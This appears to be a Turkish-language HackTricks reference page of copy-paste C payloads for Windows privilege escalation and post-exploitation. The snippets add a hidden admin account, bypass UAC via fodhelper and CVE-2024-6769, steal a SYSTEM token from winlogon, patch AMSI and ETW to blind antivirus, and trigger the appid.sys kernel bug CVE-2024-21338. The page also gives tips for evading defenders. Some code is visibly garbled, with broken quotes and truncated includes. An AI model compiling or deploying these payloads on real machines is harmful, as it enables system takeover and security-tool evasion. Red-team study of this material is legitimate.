Windows C Payloads
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Bu sayfa, Windows Local Privilege Escalation veya post-exploitation sırasında kullanışlı olan küçük, kendi içinde bağımsız C kod parçacıklarını toplar. Her payload kopyala-yapıştır dostu olacak şekilde tasarlanmıştır, yalnızca Windows API / C runtime gerektirir ve i686-w64-mingw32-gcc (x86) veya x86_64-w64-mingw32-gcc (x64) ile derlenebilir.
⚠️ Bu payload’ların, işlemin zaten eylemi gerçekleştirmek için gerekli asgari ayrıcalıklara sahip olduğunu varsaydığını unutmayın (ör.
SeDebugPrivilege,SeImpersonatePrivilege, veya bir UAC bypass için medium-integrity context). Bunlar, bir zafiyeti sömürerek rastgele native kod yürütmeyi sağlayan durumlar için red-team veya CTF ortamları içindir.
Add local administrator user
// i686-w64-mingw32-gcc -s -O2 -o addadmin.exe addadmin.c
#include <stdlib.h>
int main(void) {
system("net user hacker Hacker123! /add");
system("net localgroup administrators hacker /add");
return 0;
}
UAC Bypass – fodhelper.exe Registry Hijack (Medium → High integrity)
Güvenilen ikili fodhelper.exe çalıştırıldığında, aşağıdaki kayıt defteri yolunu DelegateExecute fiilini filtrelemeden sorgular. Komutumuzu bu anahtarın altına yerleştirerek bir saldırgan UAC’yi dosyayı diske yazmadan bypass edebilir.
Registry path queried by fodhelper.exe
HKCU\Software\Classes\ms-settings\Shell\Open\command
Yükseltilmiş bir cmd.exe açan minimal PoC:
// x86_64-w64-mingw32-gcc -municode -s -O2 -o uac_fodhelper.exe uac_fodhelper.c
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(void) {
HKEY hKey;
const char *payload = "C:\\Windows\\System32\\cmd.exe"; // change to arbitrary command
// 1. Create the vulnerable registry key
if (RegCreateKeyExA(HKEY_CURRENT_USER,
"Software\\Classes\\ms-settings\\Shell\\Open\\command", 0, NULL, 0,
KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
// 2. Set default value => our payload
RegSetValueExA(hKey, NULL, 0, REG_SZ,
(const BYTE*)payload, (DWORD)strlen(payload) + 1);
// 3. Empty "DelegateExecute" value = trigger (")
RegSetValueExA(hKey, "DelegateExecute", 0, REG_SZ,
(const BYTE*)"", 1);
RegCloseKey(hKey);
// 4. Launch auto-elevated binary
system("fodhelper.exe");
}
return 0;
}
Windows 10 22H2 ve Windows 11 23H2 (Temmuz 2025 yamaları) üzerinde test edildi. Bypass hâlâ çalışıyor çünkü Microsoft DelegateExecute yolundaki eksik bütünlük denetimini düzeltmedi.
UAC Bypass – Activation Context Cache Poisoning (ctfmon.exe, CVE-2024-6769)
Drive remapping + activation context cache poisoning, patchlenmiş Windows 10/11 build’lerine karşı hâlâ çalışıyor çünkü ctfmon.exe yüksek-integrity trusted UI process olarak çalışır; çağıranın impersonated C: sürücüsünden seve seve yükler ve CSRSS’in cache’lediği DLL yönlendirmelerini yeniden kullanır. Sömürü şu şekilde ilerler: C:’yi saldırgan kontrollü bir depolamaya yönlendir, trojanlaştırılmış bir msctf.dll bırak, yüksek integrity elde etmek için ctfmon.exe başlat, sonra CSRSS’ten auto-elevated binary tarafından kullanılan bir DLL’i yönlendiren bir manifest’i cache’e almasını iste (ör. fodhelper.exe) böylece sonraki başlatma payload’unu UAC istemi olmadan devralır.
Pratik iş akışı:
- Sahte bir
%SystemRoot%\System32dizini hazırla ve ele geçirmeyi planladığın meşru ikiliyi kopyala (çoğunluklactfmon.exe). - İşlemin içinde
C:’yi remap etmek içinDefineDosDevice(DDD_RAW_TARGET_PATH)kullan; değişikliğin lokal kalması içinDDD_NO_BROADCAST_SYSTEM’ı kullanmaya devam et. - DLL ve manifest’ini sahte dizine bırak, manifest’i activation-context cache’e itmek için
CreateActCtx/ActivateActCtxçağır, sonra auto-elevated binary’i başlat ki yönlendirilen DLL doğrudan shellcode’una çözünsün. - İşin bitince cache girdisini sil (
sxstrace ClearCache) veya saldırgan parmak izlerini silmek için yeniden başlat.
C - Sahte sürücü + manifest poison helper (CVE-2024-6769)
```c #define WIN32_LEAN_AND_MEAN #includeBOOL WriteWideFile(const wchar_t *path, const wchar_t *data) { HANDLE h = CreateFileW(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (h == INVALID_HANDLE_VALUE) return FALSE; DWORD bytes = (DWORD)(wcslen(data) * sizeof(wchar_t)); BOOL ok = WriteFile(h, data, bytes, &bytes, NULL); CloseHandle(h); return ok; }
int wmain(void) { const wchar_t *stage = L“C:\Users\Public\fakeC\Windows\System32“; SHCreateDirectoryExW(NULL, stage, NULL); CopyFileW(L“C:\Windows\System32\ctfmon.exe“, L“C:\Users\Public\fakeC\Windows\System32\ctfmon.exe“, FALSE); CopyFileW(L“.\msctf.dll“, L“C:\Users\Public\fakeC\Windows\System32\msctf.dll“, FALSE);
DefineDosDeviceW(DDD_RAW_TARGET_PATH | DDD_NO_BROADCAST_SYSTEM, L“C:“, L”\??\C:\Users\Public\fakeC“);
const wchar_t manifest[] =
L““
L“
ACTCTXW act = { sizeof(act) }; act.lpSource = L“C:\Users\Public\fakeC\payload.manifest“; ULONG_PTR cookie = 0; HANDLE ctx = CreateActCtxW(&act); ActivateActCtx(ctx, &cookie);
STARTUPINFOW si = { sizeof(si) }; PROCESS_INFORMATION pi = { 0 }; CreateProcessW(L“C:\Windows\System32\ctfmon.exe“, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
WaitForSingleObject(pi.hProcess, 2000); DefineDosDeviceW(DDD_REMOVE_DEFINITION, L“C:“, L”\??\C:\Users\Public\fakeC“); return 0; }
</details>
Temizlik ipucu: SYSTEM'i ele geçirdikten sonra test ederken `sxstrace Trace -logfile %TEMP%\sxstrace.etl` komutunu çalıştırıp ardından `sxstrace Parse` çalıştırın—logta manifest adınızı görürseniz, savunucular da görebilir; bu yüzden her çalıştırmada yolları değiştirin.
---
## Token çoğaltma ile SYSTEM shell başlatma (`SeDebugPrivilege` + `SeImpersonatePrivilege`)
Eğer geçerli işlem **hem** `SeDebug` hem de `SeImpersonate` ayrıcalıklarına sahipse (birçok servis hesabı için tipik), `winlogon.exe`'den token'i çalıp çoğaltabilir ve yükseltilmiş bir işlem başlatabilirsiniz:
```c
// x86_64-w64-mingw32-gcc -O2 -o system_shell.exe system_shell.c -ladvapi32 -luser32
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
DWORD FindPid(const wchar_t *name) {
PROCESSENTRY32W pe = { .dwSize = sizeof(pe) };
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE) return 0;
if (!Process32FirstW(snap, &pe)) return 0;
do {
if (!_wcsicmp(pe.szExeFile, name)) {
DWORD pid = pe.th32ProcessID;
CloseHandle(snap);
return pid;
}
} while (Process32NextW(snap, &pe));
CloseHandle(snap);
return 0;
}
int wmain(void) {
DWORD pid = FindPid(L"winlogon.exe");
if (!pid) return 1;
HANDLE hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
HANDLE hToken = NULL, dupToken = NULL;
if (OpenProcessToken(hProc, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &hToken) &&
DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &dupToken)) {
STARTUPINFOW si = { .cb = sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
if (CreateProcessWithTokenW(dupToken, LOGON_WITH_PROFILE,
L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL, CREATE_NEW_CONSOLE,
NULL, NULL, &si, &pi)) {
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
}
if (hProc) CloseHandle(hProc);
if (hToken) CloseHandle(hToken);
if (dupToken) CloseHandle(dupToken);
return 0;
}
Bunun nasıl çalıştığına dair daha ayrıntılı açıklama için bakınız:
SeDebug + SeImpersonate copy token
In-Memory AMSI & ETW Patch (Defence Evasion)
Çoğu modern AV/EDR motoru kötü amaçlı davranışları incelemek için AMSI ve ETW’ye dayanır. Her iki arayüzün de mevcut süreç içinde erken aşamada yamanması, PowerShell veya JScript gibi script tabanlı payload’ların taranmasını engeller.
// gcc -o patch_amsi.exe patch_amsi.c -lntdll
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <stdio.h>
void Patch(BYTE *address) {
DWORD oldProt;
// mov eax, 0x80070057 ; ret (AMSI_RESULT_E_INVALIDARG)
BYTE patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
VirtualProtect(address, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProt);
memcpy(address, patch, sizeof(patch));
VirtualProtect(address, sizeof(patch), oldProt, &oldProt);
}
int main(void) {
HMODULE amsi = LoadLibraryA("amsi.dll");
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
if (amsi) Patch((BYTE*)GetProcAddress(amsi, "AmsiScanBuffer"));
if (ntdll) Patch((BYTE*)GetProcAddress(ntdll, "EtwEventWrite"));
MessageBoxA(NULL, "AMSI & ETW patched!", "OK", MB_OK);
return 0;
}
Yukarıdaki yama işlem düzeyindedir; çalıştırdıktan sonra yeni bir PowerShell başlatılması, AMSI/ETW denetimi olmadan yürütülecektir.
Alt süreci Protected Process Light (PPL) olarak oluştur
Oluşturma sırasında bir çocuğa PPL koruma seviyesi talep etmek için STARTUPINFOEX + PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL kullanın. Bu belgelenmiş bir API’dir ve yalnızca hedef image, talep edilen signer class için imzalanmışsa başarılı olur (Windows/WindowsLight/Antimalware/LSA/WinTcb).
// x86_64-w64-mingw32-gcc -O2 -o spawn_ppl.exe spawn_ppl.c
#include <windows.h>
int wmain(void) {
STARTUPINFOEXW si = {0};
PROCESS_INFORMATION pi = {0};
si.StartupInfo.cb = sizeof(si);
SIZE_T attrSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize);
DWORD lvl = PROTECTION_LEVEL_ANTIMALWARE_LIGHT; // choose the desired level
UpdateProcThreadAttribute(si.lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL,
&lvl, sizeof(lvl), NULL, NULL);
if (!CreateProcessW(L"C\\\Windows\\\System32\\\notepad.exe", NULL, NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi)) {
// likely ERROR_INVALID_IMAGE_HASH (577) if the image is not properly signed for that level
return 1;
}
DeleteProcThreadAttributeList(si.lpAttributeList);
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}
En sık kullanılan seviyeler:
PROTECTION_LEVEL_WINDOWS_LIGHT(2)PROTECTION_LEVEL_ANTIMALWARE_LIGHT(3)PROTECTION_LEVEL_LSA_LIGHT(4)
Sonucu Process Explorer/Process Hacker ile Protection sütununu kontrol ederek doğrulayın.
Local Service -> Kernel üzerinden appid.sys Smart-Hash (IOCTL 0x22A018, CVE-2024-21338)
appid.sys, çağıran LOCAL SERVICE olarak çalıştığında kullanıcı tarafından sağlanan fonksiyon işaretçilerini kabul eden smart-hash bakım IOCTL’üne sahip bir device object (\\.\\AppID) açığa çıkarır; Lazarus bunu PPL’yi devre dışı bırakmak ve rastgele sürücüler yüklemek için kötüye kullanıyor, bu yüzden red teams laboratuvar kullanımı için hazır bir tetikleyiciye sahip olmalı.
Operasyonel notlar:
- Hâlâ bir
LOCAL SERVICEtoken’ına ihtiyacınız var.SeImpersonatePrivilegekullanarak onuScheduleveyaWdiServiceHost’tan çalın, sonra cihazla etkileşime girmeden önce taklit edin ki ACL kontrolleri geçsin. - IOCTL
0x22A018, iki callback işaretçisi (query length + read function) içeren bir struct bekler. Her ikisini de token overwrite yapan veya ring-0 primitifleri haritalayan user-mode stub’larına yönlendirin, ancak KernelPatchGuard zincir ortasında çökmesin diye buffer’ları RWX olarak tutun. - Başarıdan sonra taklit işleminden çıkın ve device handle’ını geri alın; savunucular şimdi beklenmeyen
Device\\AppIDhandle’larına bakıyor, bu yüzden ayrıcalık elde edilir elde edilmez hemen kapatın.
C - `appid.sys` smart-hash abuse için iskelet tetikleyici
```c #define WIN32_LEAN_AND_MEAN #includetypedef struct _APPID_SMART_HASH { ULONGLONG UnknownCtx[4]; PVOID QuerySize; // called first PVOID ReadBuffer; // called with size returned above BYTE Reserved[0x40]; } APPID_SMART_HASH;
DWORD WINAPI KernelThunk(PVOID ctx) { // map SYSTEM shellcode, steal token, etc. return 0; }
int wmain(void) { HANDLE hDev = CreateFileW(L“\\.\AppID“, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); if (hDev == INVALID_HANDLE_VALUE) { printf(“[-] CreateFileW failed: %lu\n”, GetLastError()); return 1; }
APPID_SMART_HASH in = {0}; in.QuerySize = KernelThunk; in.ReadBuffer = KernelThunk;
DWORD bytes = 0; if (!DeviceIoControl(hDev, 0x22A018, &in, sizeof(in), NULL, 0, &bytes, NULL)) { printf(“[-] DeviceIoControl failed: %lu\n”, GetLastError()); } CloseHandle(hDev); return 0; }
</details>
Silahlandırılmış bir yapı için minimal düzeltme: bir RWX bölümünü `VirtualAlloc` ile eşleyin, token duplication stub'ınızı oraya kopyalayın, `KernelThunk = section` olarak ayarlayın ve `DeviceIoControl` döndüğünde PPL altında bile SYSTEM olmalısınız.
---
## Referanslar
* Ron Bowes – “Fodhelper UAC Bypass Deep Dive” (2024)
* SplinterCode – “AMSI Bypass 2023: The Smallest Patch Is Still Enough” (BlackHat Asia 2023)
* CreateProcessAsPPL – minimal PPL process launcher: https://github.com/2x7EQ13/CreateProcessAsPPL
* Microsoft Docs – STARTUPINFOEX / InitializeProcThreadAttributeList / UpdateProcThreadAttribute
* DarkReading – ["Novel Exploit Chain Enables Windows UAC Bypass"](https://www.darkreading.com/vulnerabilities-threats/windows-activation-context-cache-elevation) (2024)
* Avast Threat Labs – ["Lazarus Deploys New FudModule Rootkit"](https://decoded.avast.io/threatresearch/lazarus-deploys-new-fudmodule-rootkit/) (2024)
> [!TIP]
> AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azure Hacking'i öğrenin ve pratik yapın: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks'i Destekleyin</summary>
>
> - [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
> - **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** bizi **takip edin** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
>
> </details>
HackTricks

